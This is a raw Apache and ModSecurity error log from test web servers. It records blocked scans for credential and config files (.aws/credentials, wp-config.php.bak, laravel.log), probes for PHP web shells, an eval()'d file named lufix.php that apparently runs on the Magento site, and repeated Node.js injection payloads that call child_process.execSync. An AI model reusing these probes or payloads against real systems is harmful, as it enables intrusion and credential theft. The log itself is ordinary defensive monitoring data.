[Sat Feb 28 14:52:04.301823 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aaLzBJCSoh35rUFTMWG0_gAAAAk"]
[Sat Feb 28 14:52:04.335482 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aaLzBJCSoh35rUFTMWG0_wAAAAk"]
[Sat Feb 28 14:52:04.335600 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aaLzBJCSoh35rUFTMWG0_wAAAAk"]
[Sat Feb 28 14:52:04.335817 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aaLzBJCSoh35rUFTMWG0_wAAAAk"]
[Sat Feb 28 14:52:04.336005 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "aaLzBJCSoh35rUFTMWG0_wAAAAk"]
[Sat Feb 28 14:52:06.287146 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aaLzBpCSoh35rUFTMWG1GQAAAAk"]
[Sat Feb 28 14:52:06.287429 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aaLzBpCSoh35rUFTMWG1GQAAAAk"]
[Sat Feb 28 14:52:06.287617 2026] [:error] [pid 2383931] [client 45.148.10.160:60536] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "aaLzBpCSoh35rUFTMWG1GQAAAAk"]
[Mon Mar 02 09:15:00.175778 2026] [php:error] [pid 2421739] [client 20.220.232.101:23489] script '/var/www/magento.test.indacotrentino.com/www/pub/images/m.php' not found or unable to stat
[Mon Mar 02 19:55:28.034002 2026] [php:error] [pid 2421781] [client 20.63.100.156:27978] script '/var/www/magento.test.indacotrentino.com/www/pub/images/image.php' not found or unable to stat
[Mon Mar 02 19:55:28.290057 2026] [php:error] [pid 2421781] [client 20.63.100.156:27978] script '/var/www/magento.test.indacotrentino.com/www/pub/images/image2.php' not found or unable to stat
[Mon Mar 02 19:55:39.461423 2026] [php:error] [pid 2421781] [client 20.63.100.156:27978] script '/var/www/magento.test.indacotrentino.com/www/pub/images/post_genprdt.php' not found or unable to stat
[Thu Mar 05 05:46:31.165916 2026] [php:warn] [pid 2488371] [client 74.243.251.125:10301] PHP Warning: Undefined array key "HTTP_USER_AGENT" in /var/www/magento.test.indacotrentino.com/www/pub/lufix.php(2) : eval()'d code(1) : eval()'d code on line 1
[Thu Mar 05 21:15:30.274888 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aankYn-5cD4lZ86aCmtRhgAAAAc"]
[Thu Mar 05 21:15:30.275235 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aankYn-5cD4lZ86aCmtRhgAAAAc"]
[Thu Mar 05 21:15:30.275365 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aankYn-5cD4lZ86aCmtRhgAAAAc"]
[Thu Mar 05 21:15:30.299617 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/index.json"] [unique_id "aankYn-5cD4lZ86aCmtRhwAAAAc"]
[Thu Mar 05 21:15:30.299972 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/index.json"] [unique_id "aankYn-5cD4lZ86aCmtRhwAAAAc"]
[Thu Mar 05 21:15:30.300117 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/index.json"] [unique_id "aankYn-5cD4lZ86aCmtRhwAAAAc"]
[Thu Mar 05 21:15:30.333601 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/endpoint"] [unique_id "aankYn-5cD4lZ86aCmtRiAAAAAc"]
[Thu Mar 05 21:15:30.333929 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/endpoint"] [unique_id "aankYn-5cD4lZ86aCmtRiAAAAAc"]
[Thu Mar 05 21:15:30.334075 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/endpoint"] [unique_id "aankYn-5cD4lZ86aCmtRiAAAAAc"]
[Thu Mar 05 21:15:30.372838 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/static/chunks/pages/"] [unique_id "aankYn-5cD4lZ86aCmtRiQAAAAc"]
[Thu Mar 05 21:15:30.373178 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/static/chunks/pages/"] [unique_id "aankYn-5cD4lZ86aCmtRiQAAAAc"]
[Thu Mar 05 21:15:30.373335 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/static/chunks/pages/"] [unique_id "aankYn-5cD4lZ86aCmtRiQAAAAc"]
[Thu Mar 05 21:15:30.403022 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/[[...slug]]"] [unique_id "aankYn-5cD4lZ86aCmtRigAAAAc"]
[Thu Mar 05 21:15:30.403349 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/[[...slug]]"] [unique_id "aankYn-5cD4lZ86aCmtRigAAAAc"]
[Thu Mar 05 21:15:30.403500 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/[[...slug]]"] [unique_id "aankYn-5cD4lZ86aCmtRigAAAAc"]
[Thu Mar 05 21:15:31.074533 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/home.json"] [unique_id "aankY3-5cD4lZ86aCmtRjAAAAAc"]
[Thu Mar 05 21:15:31.074979 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/home.json"] [unique_id "aankY3-5cD4lZ86aCmtRjAAAAAc"]
[Thu Mar 05 21:15:31.075186 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/home.json"] [unique_id "aankY3-5cD4lZ86aCmtRjAAAAAc"]
[Thu Mar 05 21:15:31.099322 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/test"] [unique_id "aankY3-5cD4lZ86aCmtRjQAAAAc"]
[Thu Mar 05 21:15:31.099772 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/test"] [unique_id "aankY3-5cD4lZ86aCmtRjQAAAAc"]
[Thu Mar 05 21:15:31.099962 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/test"] [unique_id "aankY3-5cD4lZ86aCmtRjQAAAAc"]
[Thu Mar 05 21:15:31.124207 2026] [:error] [pid 2501123] [client 195.178.110.34:59332] [client 195.178.110.34] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:param. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:param: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo \\x5c\\x5c'VULN_TEST\\x5c\\x5c'\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aankY3-5cD4lZ86aCmtRjgAAAAc"]
